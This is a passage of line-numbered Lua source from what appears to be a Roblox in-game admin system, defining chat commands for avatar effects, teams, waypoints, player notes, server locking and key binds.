7605 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7606 for _,Face in pairs(FaceTable) do
7607 if string.lower(Arguments[2]) == string.lower(Face) then
7608 ID = FaceID
7609 break
7610 end
7611 end
7612 end
7613 end
7614 if ID then
7615 for _,Player in pairs(Players) do
7616 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7617 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7618 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7619 end
7620 end
7621 end
7622 end};
7623
7624 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7625 local Players = STRING:Scan(Arguments[1], Speaker)
7626 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7627 for _,Player in pairs(Players) do
7628 if Player.Character and Player.Character:FindFirstChild("Head") then
7629 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7630 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7631 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7632 end
7633 end
7634 end};
7635
7636 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7637 local Players = STRING:Scan(Arguments[1], Speaker)
7638 for _,Player in pairs(Players) do
7639 if Player.Character and Player.Character:FindFirstChild("Head") then
7640 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7641 end
7642 end
7643 end};
7644
7645 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7646 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7647 end, Http = true};
7648
7649 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7650 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7651 end, Http = true};
7652
7653 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7654 local Players = STRING:Scan(Arguments[1], Speaker)
7655 for _,Player in pairs(Players) do
7656 local ExistingData = Player:LoadInstance("Data")
7657 if ExistingData == nil then
7658 ExistingData = Instance.new("Configuration")
7659 end
7660 ExistingData.Name = "Player Data"
7661 local Key = Instance.new("Configuration", ExistingData)
7662 Key.Name = Arguments[2]
7663 Player:SaveInstance("Data", ExistingData)
7664 end
7665 end};
7666
7667 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7668 local Players = STRING:Scan(Arguments[1], Speaker)
7669 local Data = Arguments[2]
7670 for _,Player in pairs(Players) do
7671 local ExistingData = Player:LoadInstance("Data")
7672 if ExistingData ~= nil then
7673 if string.lower(Data) == "all" then
7674 ExistingData:ClearAllChildren()
7675 else
7676 for _,DataObj in pairs(ExistingData:GetChildren()) do
7677 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7678 DataObj:Destroy()
7679 end
7680 end
7681 end
7682 end
7683 Player:SaveInstance("Data", ExistingData)
7684 end
7685 end};
7686
7687 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7688 local Players = STRING:Scan(Arguments[1], Speaker)
7689 local DataSet = {}
7690 for _,Player in pairs(Players) do
7691 local ExistingData = Player:LoadInstance("Data")
7692 if ExistingData ~= nil then
7693 if #ExistingData:GetChildren() ~= 0 then
7694 for _,Data in pairs(ExistingData:GetChildren()) do
7695 table.insert(DataSet, Player.Name..": "..Data.Name)
7696 end
7697 else
7698 table.insert(DataSet, "Data does not exist for "..Player.Name)
7699 end
7700 else
7701 table.insert(DataSet, "Data does not exist for "..Player.Name)
7702 end
7703 end
7704 GUI:ListGui(Speaker, "Notes", DataSet)
7705 end};
7706
7707 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7708 local Players = STRING:Scan(Arguments[1], Speaker)
7709 for _,Player in pairs(Players) do
7710 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7711 Player.Character.Humanoid.WalkSpeed = 16
7712 end
7713 end
7714 end};
7715
7716 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7717 local Players = STRING:Scan(Arguments[1], Speaker)
7718 for _,Player in pairs(Players) do
7719 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7720 Player.Character.Humanoid.WalkSpeed = -16
7721 end
7722 end
7723 end};
7724
7725 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7726 local TeamColor = BrickColor.random()
7727 local TeamName = Arguments[1]
7728 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7729 if #TeamNameSplit >= 2 then
7730 local Color = TeamNameSplit[1]
7731 local NewTeamName = TeamNameSplit[2]
7732 if Color == "Medium stone grey" then
7733 TeamColor = BrickColor.new(Color)
7734 TeamName = NewTeamName
7735 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7736 TeamColor = BrickColor.new(Color)
7737 TeamName = NewTeamName
7738 elseif Colors[string.upper(Color)] then
7739 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7740 TeamName = NewTeamName
7741 end
7742 end
7743
7744 local NewTeam = Instance.new("Team", Server.Teams)
7745 NewTeam.TeamColor = TeamColor
7746 NewTeam.Name = TeamName
7747 end};
7748
7749 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7750 local Players = STRING:Scan(Arguments[1], Speaker)
7751 for _,Player in pairs(Players) do
7752 Player.Neutral = true
7753 end
7754 end};
7755
7756 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7757 local Players = STRING:Scan(Arguments[1], Speaker)
7758 if string.lower(Arguments[2]) == "none" then
7759 for _,Player in pairs(Players) do
7760 Player.Neutral = true
7761 end
7762 else
7763 for _,Obj in pairs(Server.Teams:GetChildren()) do
7764 if Obj:IsA("Team") then
7765 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7766 for _,Player in pairs(Players) do
7767 Player.Neutral = false
7768 Player.TeamColor = Obj.TeamColor
7769 end
7770 end
7771 end
7772 end
7773 end
7774 end};
7775
7776 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7777 for _,Obj in pairs(Server.Teams:GetChildren()) do
7778 if Obj:IsA("Team") then
7779 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7780 for _,Player in pairs(Server.Players:GetPlayers()) do
7781 if Player.TeamColor == Obj.TeamColor then
7782 Player.Neutral = true
7783 end
7784 end
7785 Obj:Destroy()
7786 end
7787 end
7788 end
7789 end};
7790
7791 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7792 for _,Player in pairs(Server.Players:GetPlayers()) do
7793 Player.Neutral = true
7794 end
7795 for _,Obj in pairs(Server.Teams:GetChildren()) do
7796 if Obj:IsA("Team") then
7797 Obj:Destroy()
7798 end
7799 end
7800 end};
7801
7802 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7803 for _,Player in pairs(Server.Players:GetPlayers()) do
7804 GUI:Countdown(Player, Arguments[1])
7805 end
7806 end};
7807
7808 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7809 local Players = STRING:Scan(Arguments[1], Speaker)
7810 for _,Player in pairs(Players) do
7811 if Player:FindFirstChild("Backpack") then
7812 CORE:ExecuteResource("ShowAd", Player.Backpack)
7813 end
7814 end
7815 end};
7816
7817 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7818 local Players = STRING:Scan(Arguments[1], Speaker)
7819 for _,Player in pairs(Players) do
7820 if Player.Character then
7821 for PosName,WP in pairs(Waypoints) do
7822 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7823 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7824 break
7825 end
7826 end
7827 end
7828 end
7829 end};
7830
7831 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7832 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7833 end};
7834
7835 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7836 local Num = 0
7837 for PosName,WP in pairs(Waypoints) do
7838 Num = Num + 1
7839 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7840 Waypoints[PosName] = nil
7841 end
7842 end
7843 end};
7844
7845 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7846 local WaypointHolder,WaypointRaw = {},{}
7847 for Name, WP in pairs(Waypoints) do
7848 local View = Name..": "..tostring(WP)
7849 table.insert(WaypointHolder, View)
7850 WaypointRaw[View] = WP
7851 end
7852 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7853 Clicked.Event:connect(function(Text)
7854 local Waypoint = WaypointRaw[Text]
7855 if Waypoint then
7856 if Speaker.Character then
7857 Speaker.Character:MoveTo(Waypoint)
7858 end
7859 end
7860 end)
7861 end};
7862
7863 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7864 local Players = STRING:Scan(Arguments[1], Speaker)
7865 local List = {}
7866 for _,Player in pairs(Players) do
7867 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7868 end
7869 GUI:ListGui(Speaker, "Listed Players", List)
7870 end};
7871
7872 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7873 if tonumber(Arguments[1]) then
7874 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7875 else
7876 local Players = STRING:Scan(Arguments[1], Speaker)
7877 for _,Player in pairs(Players) do
7878 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7879 end
7880 end
7881 end};
7882
7883 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7884 local Players = STRING:Scan(Arguments[1], Speaker)
7885 local Friends,OneFriend = {}, false
7886 for _,Player in pairs(Players) do
7887 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7888 --[[if Player:IsBestFriendsWith(User.UserId) then
7889 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7890 OneFriend = true
7891 ]]
7892 if Player:IsFriendsWith(User.UserId) then
7893 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7894 OneFriend = true
7895 end
7896 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7897 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7898 end
7899 end end
7900 end
7901 GUI:ListGui(Speaker, "Friend List", Friends)
7902 end};
7903
7904 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7905 Settings.ServerLocked = true
7906 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
7907 end};
7908
7909 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7910 Settings.ServerLocked = false
7911 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
7912 end};
7913
7914 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7915 local OldAge = Settings.MinimumAge
7916 local Age = tostring(Arguments[1])
7917 if Age then
7918 Settings.MinimumAge = Age
7919 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
7920 end
7921 end};
7922
7923 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7924 if Settings.VIPAdminID <= 1 then
7925 MARKET:PromptPurchase(Speaker, VIPAdminID)
7926 else
7927 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
7928 end
7929 end};
7930
7931 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7932 if Settings.VIPMemberID <= 1 then
7933 MARKET:PromptPurchase(Speaker, VIPMemberID)
7934 else
7935 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
7936 end
7937 end};
7938
7939 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
7940 if tonumber(Arguments[2]) then
7941 local Players = STRING:Scan(Arguments[1], Speaker)
7942 local Size = tonumber(Arguments[2])+25
7943 for _,Player in pairs(Players) do
7944 if Player.Character then
7945 if Player.Character:FindFirstChild("Head") then
7946 if Player.Character.Head:FindFirstChild("Mesh") then
7947 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
7948 end
7949 end
7950 end
7951 end
7952 end
7953 end};
7954
7955 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7956 local Players = STRING:Scan(Arguments[1], Speaker)
7957 for _,Player in pairs(Players) do
7958 if Player.Character and Player.Character:FindFirstChild("Torso") then
7959 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
7960 Player.Character.Parent = nil
7961 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
7962 end
7963 end
7964 end};
7965
7966 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7967 GUI:SettingsGui(Speaker)
7968 end};
7969
7970 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7971 if tonumber(Arguments[2]) then
7972 local Players = STRING:Scan(Arguments[1], Speaker)
7973 local List = {}
7974 for _,Player in pairs(Players) do
7975 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
7976 table.insert(List, Player.Name)
7977 end
7978 end
7979 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
7980 end
7981 end};
7982
7983 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
7984 local Players = STRING:Scan(Arguments[1], Speaker)
7985 for _,Player in pairs(Players) do
7986 if Player.Character and Player.Character:FindFirstChild("Head") then
7987 local Char = Player.Character
7988 Char:BreakJoints()
7989 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7990 Obj.Anchored = true
7991 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
7992 local Decal = Instance.new("Decal", Obj)
7993 Decal.Texture = "rbxassetid://178913323"
7994 Decal.Face = Face
7995 end
7996 end)
7997 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
7998 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
7999 Sound1:Play() Sound2:Play()
8000 coroutine.wrap(function()
8001 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8002 repeat wait()
8003 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8004 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8005 Obj.Transparency = math.random(0,30)/100
8006 Obj.Reflectance = math.random(0,50)/100
8007 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8008 end)
8009 until Char ~= Player.Character or Char.Parent == nil
8010 end)()
8011 end
8012 end
8013 end, Hidden = true};
8014
8015 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8016 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8017 end, Http = true};
8018
8019 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8020 local Players = STRING:Scan(Arguments[1], Speaker)
8021 for _,Player in pairs(Players) do
8022 if Player.Character then
8023 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8024 Obj.Material = "Neon"
8025 end)
8026 end
8027 end
8028 end};
8029
8030 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8031 local Players = STRING:Scan(Arguments[1], Speaker)
8032 for _,Player in pairs(Players) do
8033 if Player.Character then
8034 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8035 Obj.Material = "Plastic"
8036 end)
8037 end
8038 end
8039 end};
8040
8041 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8042 local Players = STRING:Scan(Arguments[1], Speaker)
8043 for _,Player in pairs(Players) do
8044 if Player.Character then
8045 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8046 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8047 end)
8048 end
8049 end
8050 end, Hidden = true};
8051
8052 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8053 local Players = STRING:Scan(Arguments[1], Speaker)
8054 for _,Player in pairs(Players) do
8055 if Player.Character and Player.Character:FindFirstChild("Torso") then
8056 local Pos = Player.Character.Torso.Position
8057 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8058 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8059 if Answer == "Ok" then
8060 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8061 end
8062 end
8063 end
8064 end};
8065
8066 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8067 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8068 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8069 if PlayersFrom and PlayersTo then
8070 for _,PlayerFrom in pairs(PlayersFrom) do
8071 for _,PlayerTo in pairs(PlayersTo) do
8072 if PlayerFrom.Character and PlayerTo.Character then
8073 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8074 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8075 wait(5)
8076 Laser:Destroy()
8077 end)() end
8078 end
8079 end
8080 end
8081 end
8082 end};
8083
8084 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8085 local Players = STRING:Scan(Arguments[1], Speaker)
8086 for _,Player in pairs(Players) do
8087 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8088 Player.Character.Humanoid:Destroy()
8089 end
8090 end
8091 end};
8092
8093 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8094 if Plugins then
8095 local List = {}
8096 for _,Module in pairs(Plugins:GetChildren()) do
8097 if Module:IsA("ModuleScript") then
8098 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8099 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8100 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8101 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8102 end
8103 end
8104 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8105 else
8106 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8107 end
8108 end};
8109
8110 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8111 local Players = STRING:Scan(Arguments[1], Speaker)
8112 for _,Player in pairs(Players) do
8113 GUI:DetachChat(Player)
8114 end
8115 end};
8116
8117 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8118 GUI:DetachChat(Speaker)
8119 end};
8120
8121 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8122 local Players = STRING:Scan(Arguments[1], Speaker)
8123 for _,Player in pairs(Players) do
8124 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8125 local Dead = false
8126
8127 Player.Character.Humanoid.WalkSpeed = 1
8128 local Torso = Player.Character.Torso
8129 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8130 Truck:BreakJoints()
8131 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8132 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8133 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8134 Truck.Touched:connect(function(Part)
8135 if Dead == false then
8136 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8137 if TouchPlayer == Player then
8138 Dead = true
8139 Player.Character:BreakJoints()
8140 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8141 end
8142 end
8143 end)
8144 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8145 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8146 Delay(5, function()
8147 Truck:Destroy()
8148 if Player.Character:FindFirstChild("Humanoid") then
8149 Player.Character.Humanoid.WalkSpeed = 16
8150 end
8151 end)
8152 end
8153 end
8154 end};
8155
8156 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8157 local Joke = REMOTE:DownloadJoke(Speaker)
8158 local Players = STRING:Scan(Arguments[1], Speaker)
8159 for _,Player in pairs(Players) do
8160 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8161 end
8162 end, Http = true};
8163
8164 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8165 local Joke = REMOTE:DownloadJoke(Speaker)
8166 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8167 end, Http = true};
8168
8169 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8170 local Players = STRING:Scan(Arguments[1], Speaker)
8171 for _,Player in pairs(Players) do
8172 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8173 CORE:InvisiblePlayer(Player)
8174 local DogContainer = Instance.new("Model", Player.Character)
8175 DogContainer.Name = "Doge"
8176 local Dog = CORE:Insert(257489726, DogContainer, true)
8177 Dog.Head.Transparency = 0.99
8178 Dog.Name = Player.Name
8179 Dog:MoveTo(Player.Character.Torso.Position)
8180 local Weld = Instance.new("Weld", Dog.Torso)
8181 Weld.Part0 = Player.Character.Torso
8182 Weld.Part1 = Dog.Torso
8183 Weld.C0 = CFrame.new(0,-0.4,0)
8184 for _,Obj in pairs(Dog:GetChildren()) do
8185 if Obj:IsA("BasePart") then
8186 Obj.CanCollide = false
8187 end
8188 end
8189
8190 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8191 end
8192 end
8193 end};
8194
8195 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8196 local Key = string.lower(string.sub(Arguments[1],1,1))
8197 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8198 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8199 end};
8200
8201 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8202 local Key = string.lower(string.sub(Arguments[1],1,1))
8203 KeyBinds[Speaker.UserId][Key] = nil
8204 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8205 end};
8206
8207 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8208 KeyBinds[Speaker.UserId] = {}
8209 GUI:SendHint(Speaker, "Unbinded all keys")
8210 end};
8211
8212 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8213 local Players = STRING:Scan(Arguments[1], Speaker)
8214 local Key = string.lower(string.sub(Arguments[2],1,1))
8215 for _,Player in pairs(Players) do
8216 KeyBinds[Player.UserId][Key] = Arguments[3]
8217 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8218 end
8219 end};
8220
8221 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8222 local Players = STRING:Scan(Arguments[1], Speaker)
8223 local Key = string.lower(string.sub(Arguments[2],1,1))
8224 for _,Player in pairs(Players) do
8225 KeyBinds[Player.UserId][Key] = nil
8226 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8227 end
8228 end};
8229
8230 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
